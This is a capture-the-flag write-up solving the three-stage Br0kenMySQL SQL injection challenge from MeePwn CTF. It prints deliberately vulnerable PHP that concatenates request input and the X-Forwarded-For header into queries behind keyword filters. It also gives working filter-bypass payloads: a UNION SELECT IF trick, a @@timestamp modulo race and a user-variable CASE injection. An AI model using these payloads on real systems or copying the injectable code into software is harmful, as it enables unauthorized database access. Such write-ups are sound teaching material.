This was a 3 stage SQLi challenge we solved during the MeePwn CTF. Shout out to Sceptic who solved the first stage and told me to look at the next one.
Br0kenMySQL#
100 pts
BabeTrick
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
| <title>Br0kenMySQL</title><h1><pre>
<p style='color:Red'>Br0kenMySQL</p>
<?php
if($_GET['debug']=='🕵') die(highlight_file(__FILE__));
require 'config.php';
$link = mysqli_connect('localhost', MYSQL_USER, MYSQL_PASSWORD);
if (!$link) {
die('Could not connect: ' . mysql_error());
}
if (!mysqli_select_db($link,MYSQL_USER)) {
die('Could not select database: ' . mysql_error());
}
$id = $_GET['id'];
if(preg_match('#sleep|benchmark|floor|rand|count#is',$id))
die('Don\'t hurt me :-(');
$query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
$row = mysqli_fetch_array($query);
$username = $row['username'];
if($username === 'guest'){
$ip = @$_SERVER['HTTP_X_FORWARDED_FOR']!="" ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
if(preg_match('#sleep|benchmark|floor|rand|count#is',$ip))
die('Don\'t hurt me :-(');
var_dump($ip);
if(!empty($ip))
mysqli_query($link,"INSERT INTO logs VALUES('{$ip}')");
$query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
$row = mysqli_fetch_array($query);
$username = $row['username'];
if($username === 'admin'){
echo "What ???????\nLogin as guest&admin at the same time ?\nSeems our code is broken, here is your bounty\n";
die(FLAG);
}
echo "Nothing here";
} else {
echo "Hello ".$username;
}
?>
|
As you can see we want the first query to return guest and the second query to return admin. Admin id was 1 and guest was 2 and between the queries there was another injection in an insert query. For all injection we had to bypass the following filter:
1
| if(preg_match('#sleep|benchmark|floor|rand|count#is',$id))
|
Sceptic solved this by injecting -1 union all SELECT IF("wii" = (select ip from logs where ip="wii"),"admin", "guest")
and setting the X-Forwarded-For header to “wii”. By doing so he first selected guest, then inserted the “wii” ip so the second query would return admin.
1
2
3
4
| What ???????
Login as guest&admin at the same time ?
Seems our code is broken, here is your bounty
MeePwnCTF{_b4by_tr1ck_fixed}
|
Br0kenMySQL v2#
Ok, seems I got the root cause break my things.
Try it again…
I fixed it a little bit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
<title>Br0kenMySQL</title><h1><pre>
<p style='color:Red'>Br0kenMySQL</p>
<?php
if($_GET['debug']=='🕵') die(highlight_file(__FILE__));
require '../config.php';
$link = mysqli_connect('localhost', MYSQL_USER, MYSQL_PASSWORD);
if (!$link) {
die('Could not connect: ' . mysql_error());
}
if (!mysqli_select_db($link,MYSQL_USER)) {
die('Could not select database: ' . mysql_error());
}
$id = $_GET['id'];
if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)#is',$id))
die('Don\'t hurt me :-(');
$query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
$row = mysqli_fetch_array($query);
$username = $row['username'];
if($username === 'guest'){
$ip = @$_SERVER['HTTP_X_FORWARDED_FOR']!="" ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)#is',$ip))
die('Don\'t hurt me :-(');
var_dump($ip);
if(!empty($ip))
mysqli_query($link,"INSERT INTO logs VALUES('{$ip}')");
$query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
$row = mysqli_fetch_array($query);
$username = $row['username'];
if($username === 'admin'){
echo "What, again ???????!@#$!@#$!@#$\n";
die(FLAG_2);
}
echo "Nothing here";
} else {
echo "Hello ".$username;
}
?>
</h1>
</pre>
|
This is where i started looking at the challenge. V2 is basically the same but the filter changed a bit:
1
| if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)#is',$id))
|
I’ve done some similar challenges before so i had a good idea what to do. I injected @@timestamp *1000000 %3
that would return 0,1,2 depending on the current time. Now i just refreshed the site until I got lucky and the time changed between the first and the second query. Notice that injecting in the X-Forwarded-For header is not needed here.
1
2
3
| What, again ???????!@#$!@#$!@#$
MeePwnCTF{_I_g1ve__uPPPPPPPP}
http://139.59.239.133/c541c6ed5e28b8762c4383a8238e6f5632cc7df6da8ce9db7a1aa706d1e5c387/?debug=%F0%9F%95%B5
|
Br0kenMySQL v3#
We don’t keep our words, but looks like someone wanna play more.
So this is the last one challenge, for real.
To get a link challenge of this version 3, you need to solve v2 again, then it will print the link out.
Thank you. Happy hacking!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
| <title>Br0kenMySQL</title><h1><pre>
<p style='color:Red'>Br0kenMySQL</p>
<?php
if($_GET['debug']=='🕵') die(highlight_file(__FILE__));
require '../config.php';
$link = mysqli_connect('localhost', MYSQL_USER, MYSQL_PASSWORD);
if (!$link) {
die('Could not connect: ' . mysql_error());
}
if (!mysqli_select_db($link,MYSQL_USER)) {
die('Could not select database: ' . mysql_error());
}
$id = $_GET['id'];
if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)|time|date|sec|day#is',$id))
die('Don\'t hurt me :-(');
$query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
$row = mysqli_fetch_array($query);
$username = $row['username'];
if($username === 'guest'){
sleep(5); // wait
$ip = @$_SERVER['HTTP_X_FORWARDED_FOR']!="" ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)|time|date|sec|day#is',$ip))
die('Don\'t hurt me :-(');
var_dump($ip);
if(!empty($ip))
mysqli_query($link,"INSERT INTO logs VALUES('{$ip}')");
$query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
$row = mysqli_fetch_array($query);
$username = $row['username'];
if($username === 'admin'){
echo "What, again ???????!@#$!@#$!@#$\n";
echo "Last one, promise!\n";
die(FLAG_3);
}
echo "Nothing here";
} else {
echo "Hello ".$username;
}
?>
</h1>
</pre>
|
Same thing as before, login as guest and admin and this time bypass the following filter:
1
| if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)|time|date|sec|day#is',$ip))
|
Again we don’t need the second injection just some creative use of user-defined variables. Final payload was?id=case when @wurst is null then @wurst:=2 else @wurst:=@wurst-1 end
1
| /c541c6ed5e28b8762c4383a8238e6f5632cc7df6da8ce9db7a1aa706d1e5c387/?id=case+when+@wurst+is+null+then+@wurst:=2+else+@wurst:=@wurst-1+end
|
1
2
3
| What, again ???????!@#$!@#$!@#$
Last one, promise!
MeePwnCTF{_I_g1ve__uPPPPPPPP_see_you_next_Year}
|
All-together this was nice set of sqli challenges.